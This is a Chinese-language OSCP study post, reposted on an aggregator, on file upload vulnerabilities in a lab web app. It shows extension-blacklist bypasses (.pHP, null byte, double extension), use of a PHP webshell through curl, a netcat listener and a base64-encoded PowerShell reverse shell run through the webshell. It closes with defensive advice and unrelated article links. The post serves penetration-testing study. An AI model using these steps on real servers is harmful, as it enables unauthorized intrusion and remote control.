深入解析:4-6〔O҉S҉C҉P҉ ◈ 研记〕❘ WEB应用攻击▸文件上传漏洞-A

news/2025/10/1 13:49:35/文章来源:https://www.cnblogs.com/wzzkaifa/p/19122397

    郑重声明:本文所有安全知识与技术,仅用于探讨、研究及学习,严禁用于违反国家法律法规的非法活动。对于因不当使用相关内容造成的任何损失或法律责任,本人不承担任何责任。 如需转载,请注明出处且不得用于商业盈利。 

    点赞❤️ 关注 收藏⭐️ 评论 
    更多文章戳
Whoami!-CSDN博客

​​​


 现在,我们渐入佳境了,保持耐心,继续前行 ! 

' , !  


→ 信息收集

→ 漏洞检测

→ 初始立足点▸常见WEB应用攻击▸-----我们在这儿~ 

→ 权限提升

→ 横向移动

→ 报告/分析

→ 教训/修复  

目录

1 常见WEB应用攻击

1.3 文件上传漏洞

1.3.1 上传可执行文件攻击

1.3.1.1 识别第一类文件上传漏洞

1.3.1.2 定位上传位置与上传机制

1.3.1.3 绕过上传的过滤机制

1.3.1.4 执行上传的Webshell(simple-backdoor.pHP)

1.Webshell代码详细分析

2.分析思路并执行攻击​编辑

1.3.1.5 从目标机器获取反向shell

1.攻击主机上启动Netcat监听器

2.构建PowerShell反向Shell代码

3.将Base64编码处理

①准备原始命令

②转换为字节数据

③Base64编码

4.通过Webshell执行反向Shell

5.收到反向shell连接

1.3.1.6 多语言Webshell应对策略

1.不同框架的Webshell位置

2.通用攻击流程

3.文件类型绕过进阶技巧

4.防护建议

创作不易求一波暴击点赞❤️ 关注 收藏⭐️ 评论


1 常见WEB应用攻击 

      Web开发是当前IT领域需求最高的技能之一,然而多种安全漏洞在各类Web应用程序中反复出现。无论使用何种技术栈,这些常见漏洞都可能存在于已部署的应用程序中。主要攻击类型包括:

  • 目录遍历 - 通过操纵文件路径访问未授权资源

  • 文件包含漏洞 - 包含恶意文件执行代码

  • ⬆️ 文件上传攻击漏洞 - 上传恶意文件获取系统访问权---(本文)

  • ⚡ 命令注入 - 在输入中注入系统命令执行


1.3 文件上传漏洞

文件上传漏洞攻击者通过利用应用程序的文件上传功能,上传恶意文件到服务器,从而获取系统权限或执行其他攻击。

漏洞分类

漏洞类型描述可能的攻击方式

第一类漏洞

上传的文件可被Web应用程序直接执行

(本文)上传PHP脚本并通过浏览器执行;

适用于各种服务器端脚本语言

第二类漏洞文件上传机制与其他漏洞结合利用

结合目录遍历:在文件上传请求中使用相对路径,并尝试覆盖类似authorized_keys的文件。

结合XML外部实体 (XXE)或跨站脚本 (XSS)攻击:当允许上传一个带有SVG文件类型的头像到个人资料时,可嵌入XXE攻击来显示文件内容甚至执行代码。

第三类漏洞依赖用户交互的攻击

上传含恶意宏的文档文件,诱导用户执行

例如:当发现一个求职申请的上传表单时,尝试上传一个带有恶意.docx格式的简历,并集成恶意宏,然后通过宏来执行。

⚠️ 本单元重点讨论前两种文件上传漏洞。


1.3.1 上传可执行文件攻击

1.3.1.1 识别第一类文件上传漏洞

识别方法

  • 内容管理系统(CMS):通常有头像上传、博客附件等功能

  • 企业网站:职业申请部分或特定业务功能中的上传机制

  • 全面枚举:不应跳过对网站所有功能的仔细检查


1.3.1.2 定位上传位置与上传机制

示例:Mountain Desserts应用程序:访问http://192.168.50.189/meteor/

测试步骤

  1. 发现图片上传功能,上图红框部分

  2. 尝试上传文本文件,验证限制范围

  3. 确认上传成功,说明不仅限于图片文件

  4. 此外:页面英文提示说要切换到windows,大胆推测目标服务器运行在windows上

如下示例:我们创建了一个test.txt的文本文件,并上传到Web应用程序,显示上传成功!


1.3.1.3 绕过上传的过滤机制

尝试上传之前使用的simple-backdoor.phpWebshell,提示PHP Webshell受阻

  • 系统提示:"不允许PHP文件"

  • 表明存在文件扩展名黑名单

由于不知道过滤器的具体实现方式,将使用试错的方法来寻找绕过它的方法。

绕过黑名单的常用方法

绕过技术示例原理
非常规PHP扩展名.phps.php7利用较少检查的合法PHP扩展名
大小写变异.pHP.PhP黑名单可能只检查小写扩展名
特殊字符添加.php..php利用系统处理文件名的特性
双重扩展名.jpg.php绕过简单的前缀/后缀检查

实战操作

  • simple-backdoor.php重命名为 simple-backdoor.pHP

  • 成功绕过过滤器,文件被上传至"uploads"目录


1.3.1.4 执行上传的Webshell(simple-backdoor.pHP

1.Webshell代码详细分析

kali@kali:/usr/share/webshells/php/$ cat simple-backdoor.php
...
";$cmd = ($_REQUEST['cmd']);       # 放入system()函数去执行system($cmd);echo "
";die; } # 总的意思:cmd的命令在本地web服务器执行,并输出结果。 ?> Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd ...
步骤功能描述关键技术/函数作用说明
1. 接收命令检查$_REQUEST['cmd']参数是否存在$_REQUEST全局数组自动获取GET、POST和COOKIE中的cmd参数值
2. 执行命令在服务器上执行传入的系统命令system($cmd)函数直接调用操作系统命令并返回执行结果
3. 显示结果格式化输出命令执行结果echo "<pre>"echo "</pre>"使用HTML的<pre>标签保持输出格式清晰可读
4. 终止脚本命令执行完成后结束脚本运行die语句防止脚本继续执行,确保安全性和资源释放

$_REQUEST超级全局数组

  • 功能:自动收集HTTP请求参数(GET + POST + COOKIE)

  • 优势:无需区分请求方法,统一处理用户输入

  • 风险:安全性较低,建议在生产环境中使用更具体的$_GET$_POST

system()函数特性

  • 执行环境:在Web服务器进程权限下运行

  • 返回值:直接输出命令结果到浏览器

  • 权限依赖:受Web服务器用户权限限制

 <pre>标签的作用

  • 格式保持:保留空格和换行符的原始格式

  • 可读性:使命令行输出更易于阅读和分析

  • 调试友好:便于攻击者查看完整的命令执行结果

die语句的重要性

  • 资源清理:立即终止脚本,释放系统资源

  • 安全控制:防止意外代码继续执行

  • 逻辑明确:明确标识脚本执行终点

2.分析思路并执行攻击

① 再次分析上图,输出显示我们的文件已上传到“uploads”目录,所以假设存在一个名为“uploads”的目录。再次提醒:/uploads是我们猜想的目录。
② 刚刚上传simple-backdoor.pHP,这里不要输错;然后带参数cmd,这个参数将在该webshell中执行。我们使用curl,并将查询命令dir作为Webshell的“cmd”参数。

kali@kali:~$ curl http://192.168.50.189/meteor/uploads/simple-backdoor.pHP?cmd=dir
...
Directory of C:\xampp\htdocs\meteor\uploads
04/04/2022 06:23 AM  .
04/04/2022 06:23 AM  ..
04/04/2022 06:21 AM 328 simple-backdoor.pHP
04/04/2022 06:03 AM 15 test.txt2 File(s) 343 bytes2 Dir(s) 15,410,925,568 bytes free
...

结果确认

  • 成功显示目录列表

  • 确认获得远程命令执行能力


1.3.1.5 从目标机器获取反向shell

步骤操作工具/技术关键点
1. 准备阶段启动Netcat监听nc -nvlp 4444选择未被占用的端口
2. 载荷构建PowerShell代码Base64编码PowerShell + Base64避免特殊字符问题
3. 命令执行通过Webshell触发反向连接curl + URL编码正确格式化命令参数
4. 连接建立接收反向ShellNetcat监听器获得目标系统控制权

1.攻击主机上启动Netcat监听器

     在本地kali(攻击主机)上新的终端中启动一个Netcat监听器,在4444端口上捕获传入的反向shell。作用:准备接收目标机器的反向连接。

kali@kali:~$ nc -nvlp 4444
listening on [any] 4444 ...

2.构建PowerShell反向Shell代码

目标环境分析:基于上面的网页的XAMPP图标和系统提示,推测为Windows系统。因此构建PowerShell单行命令作为反向shell代码。
在本实验中,在kali上构建
PowerShell代码,使用pwsh(跨平台的命令行外壳和脚本语言)。

pwsh是PowerShell的缩写,它是一个跨平台的命令行外壳和脚本语言。PowerShell是微软为Windows操作系统开发的,但随着时间的推移它已经变得跨平台,可以在Linux和macOS上使用,在kali的命令行中输入pwsh来启动PowerShell 7的交互式shell。

        这段PowerShell代码是一个简单的反向Shell脚本,通常用于在远程机器上执行命令并将结果返回到攻击者的机器。它建立一个TCP连接,并执行来自连接的命令,连接到IP地址192.168.119.3上的端口4444,这个IP地址和端口是攻击者控制的机器。

3.将Base64编码处理

    由于反向shell单行命令中有几个特殊字符,需使用base64对字符串进行编码。在网络传输数据时,通常需要转换为字节流格式,便于通过协议传输。编码思路如下:

①准备原始命令

$Text = "PowerShell反向shell代码"
  • 把PowerShell命令存储在变量Text。

②转换为字节数据

$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)
# 将一个文本字符串($Text)转换成Unicode编码格式的字节数组($Bytes)。
  • 将文本转换成计算机理解的二进制格式

  • 使用Unicode编码确保所有字符正确转换

  • 最终存储在变量Bytes中

详细说明:

[System.Text.Encoding]::Unicode:指定了想使用的编码格式,这里是 Unicode 编码。

    常见的 Unicode 编码形式包括 UTF-16 和 UTF-8,其中 UTF-16 是指每个字符使用 2 或 4 字节表示。以 "H" 为例,它的 Unicode 编码是 0x0048,在 UTF-16 编码中,占用 2 个字节(0x00 0x48)。

GetBytes($Text): System.Text.Encoding 类的一个方法,用来将字符串 $Text 的内容转换为一个字节数组。它会将每个字符按照指定的编码格式转换成对应的字节形式。

示例:
字符串 $Text:

$Text = "Hello"

执行以下代码时:

$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)

$Bytes 中的内容将是:字符 "H", "e", "l", "l", "o" 对应的 Unicode 编码字节。以 "H" 为例,它的 Unicode 编码是 0x0048,在 UTF-16 编码中,占用 2 个字节(0x00 0x48)。所以最终 $Bytes 数组可能包含类似的字节数组:

$Bytes = [0x00, 0x48, 0x00, 0x65, 0x00, 0x6C, 0x00, 0x6C, 0x00, 0x6F]

③Base64编码

$EncodedText = [Convert]::ToBase64String($Bytes)
  • 将二进制数据(字节数组)编码为安全传输的文本格式(Base64 编码字符串

  • 目的是:消除特殊字符,避免特殊字符在URL传输中被错误解析

详细说明:
[Convert] 是 .NET Framework 中的一个类,包含了多种转换方法。
ToBase64String 方法接受一个字节数组作为输入,并将其转换为一个 Base64 编码的字符串。

$EncodedText:这是存储结果的变量,最终它将包含 Base64 编码后的字符串。例如,Hello 字符串的 Base64 编码可能是 SGVsbG8=。

4.通过Webshell执行反向Shell

命令构造

  • 原始命令:powershell -enc <编码后的字符串>

  • URL编码后:powershell%20-enc%20<编码字符串>

详细说明:

在 PowerShell 中,-enc 参数通常用于通过 Base64 编码的命令行参数 启动 PowerShell 脚本或命令。它的全写是 -EncodedCommand,表示将一个 Base64 编码的命令传递给 PowerShell 执行。

执行方式

curl "http://192.168.50.189/meteor/uploads/simple-backdoor.pHP?cmd=powershell%20-enc%20<编码字符串>"

5.收到反向shell连接

      执行命令后,在刚刚“nc -nvlp 4444”的终端上接收到一个反向shell,我们成功控制了目标主机192.168.50.189。


1.3.1.6 多语言Webshell应对策略

1.不同框架的Webshell位置

      如果目标Web应用程序使用ASP而不是PHP,可以使用与前一个.pHP示例中相同的流程来获取代码执行,而不是上传PHP Webshell。幸运的是,Kali已经包含了各种Web Shell,位于/usr/share/webshells/目录中。已经提供的用于不同框架和语言的webshell。在kali中,不同框架的Webshell位置:

/usr/share/webshells/
├── asp/          # ASP语言Webshell
├── aspx/         # ASP.NET Webshell
├── jsp/          # JSP Webshell
├── php/          # PHP Webshell
└── other/        # 其他语言

2.通用攻击流程

步骤操作说明
1. 识别技术栈分析目标使用的编程语言PHP、ASP、JSP等
2. 上传Webshell文件绕过文件类型过滤使用大小写变异、双重扩展名等技术
3. 定位Webshell找到可访问的存储路径通常为/uploads/、/images/等目录
4. 执行命令通过参数传递系统命令获得远程代码执行能力

3.文件类型绕过进阶技巧

重命名绕过法

  • 上传无害文件:如.txt文本文件

  • 通过应用功能重命名:利用网页的文件管理功能(若有),把文件格式改为.php

  • 直接访问新文件名:执行Webshell

其他绕过技术

  • 空字节注入shell.php%00.jpg

  • 特殊字符shell.php.shell.php

  • MIME类型欺骗:修改Content-Type头

4.防护建议

  • 使用白名单而非黑名单验证文件类型

  • 将上传文件存储在Web根目录外

  • 对上传文件进行重命名

  • 限制上传文件的执行权限

  • 使用病毒扫描检查上传内容


创作不易求一波暴击点赞❤️ 关注 收藏⭐️ 评论

您的支持是我创作最大的动力!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/923901.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2025 年冷却塔品牌最新推荐排行榜:玻璃钢冷却塔、闭式冷却塔、方型逆流式冷却塔优质厂家 TOP3 精选,赋能企业选购

随着工业生产与建筑行业的快速发展,冷却塔作为关键散热设备,市场需求日益攀升。但当前市场上冷却塔品牌数量众多,产品质量与性能参差不齐,从散热效率到节能效果,从材质耐用性到售后服务,差异显著。许多企业在选购…

详细介绍:基于Chrome140的FB账号自动化——脚本撰写(二)

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

CentOS7二进制安装包方式部署K8S集群之CA根证书生成 - 实践

CentOS7二进制安装包方式部署K8S集群之CA根证书生成 - 实践pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consol…

网站地址栏做1个响应式设计网站好

全世界只有3.14 % 的人关注了爆炸吧知如何才能学好数学&#xff1f;我国著名数学家苏步青先生曾说&#xff1a;"要学好数学&#xff0c;方法不外乎打好基础&#xff0c;多做习题&#xff0c;多加思索和分析”。为了帮助大家学好数学&#xff0c;今天&#xff0c;超模君要给…

旅游网站开发系统的er图网站建设 公司 广州

1.android电池充满电剩余时间 android电量还需多长时间充满时间计算参考下面链接: [Android Framework] 8.1 Battery系列(四) 电量还需多长时间充满时间计算_batteryinfo.java-CSDN博客 从这个链接中可以看出android默认的计算方式为平均计算每1%所需要的时间,在乘以剩余的电…

旅游景区网站源码长沙网络科技有限公司有哪些

介绍 赋值运算符就是将某个运算后的值&#xff0c; 赋给指定的变量。 赋值运算符的分类 基本赋值运算符 例如&#xff1a; int a 10; 复合赋值运算符 &#xff0c; - &#xff0c; * &#xff0c; / &#xff0c; % 等 a b; [等价 a a b; ] a - b; [等价 a a - b; ] …

可以做进销存的网站系统百度网站改版工具

QQ的庞大安装量带动了腾讯系的所有产品的安装量&#xff0c;QQ浏览器作为腾讯旗下开发的浏览工具&#xff0c;也拥有不俗的装机量。QQ浏览器不仅是沾了QQ的光&#xff0c;其自身实力也有不俗的&#xff0c;QQ浏览器的应用中心与其他浏览器的扩展中心一般支持用户安装各种浏览器…

软件设计师——03 数据结构(上) - 详解

软件设计师——03 数据结构(上) - 详解2025-10-01 13:31 tlnshuju 阅读(0) 评论(0) 收藏 举报pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block…

深圳网站建设公司地图建站官网模板

给自己一个目标&#xff0c;然后坚持一段时间&#xff0c;总会有收获和感悟&#xff01; 在实际项目开发中&#xff0c;多少都会遇到高并发的情况&#xff0c;有可能是网络问题&#xff0c;连续点击鼠标无反应快速发起了N多次调用接口&#xff0c; 导致极短时间内重复调用了多次…

DailyPaper-2025-9-30

感觉今天 paper 质量不是很高, 刚考完试太累了也读不很下去. SLA: Beyond Sparsity in Diffusion Transformers via Fine-Tunable Sparse-Linear Attention https://arxiv.org/abs/2509.24006SLA, a trainable attenti…

Powershell 管理 后台/计划 作业(六)

Powershell 管理 后台/计划 作业目录管理 后台/计划 作业后台作业本地作业远程作业CIM / WMI 作业作业的管理检索作业查看子作业简单案例计划作业作业选项作业触发器创建和注册使用流程查看与管理与任务计划程序的关系…

【stm32】bash自动配置buildenv - 教程

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

java17及以上版本如何抵御TemplatesImpl注入

最近有一篇写的很好的关于java17反序列化绕过模块化的文章:https://mp.weixin.qq.com/s/DrUUAJaLig_RtXZWaAm1IQ 关于本篇的方式方法也比较传统,直接jep290在java运行时增加命令行参数: -Djdk.serialFilter=!com.su…

详细介绍:【C++实战(53)】C++11线程库:开启多线程编程新世界

详细介绍:【C++实战(53)】C++11线程库:开启多线程编程新世界pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Con…

wordpress让小工具支持简码汕头百度seo在哪里

2006-2023年各地级市债务余额数据 1、时间&#xff1a;2006-2023年 2、来源&#xff1a;整理自wind 3、指标&#xff1a;地区、地方政府债-债券数量(只)、地方政府债-债券余额(亿)、地方政府债-债券余额占比(%)、城投债-债券数量(只)、城投债-债券余额(亿)、城投债-债券余额…

将图片某个区域批量填充白色(jsx代码)

// 定义源文件夹和目标文件夹路径 var sourceFolderPath = "C:/Users/***/Desktop/拆分/"; var destFolderPath = "C:/Users/***/Desktop/结果/";// 定义要填充的区域坐标 (x, y, 宽度, 高度) var…

青岛做网站哪个公司好网站建设报告论文

电影《楚门的世界》中描述过这样的故事&#xff1a;楚门这个快乐单纯的青年&#xff0c;一直以为自己是平凡小镇上普通的保险推销员。直到有一天他发现这世界上的一切都是为他精心安排的。他会遇到谁、在他身上将要发生什么事件&#xff0c;都是按照剧本被人操纵的。甚至连他的…

详细介绍:四数之和_优选算法(C++)双指针法总结

详细介绍:四数之和_优选算法(C++)双指针法总结pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", &…

网站建设 嘉定宣传片制作公司前景

内存操作命令 直接对DRAM进行读写的操作,uboot常用的内存操作命令有md,nm,mm,mw,cp和cmp. md命令: 显示内存值 # md md - memory display Usage: md [.b, .w, .l, .q] address [# of objects] b:1个字节 byte w:2个字节 world l:4个字节 long of objects 以word 为单位的1…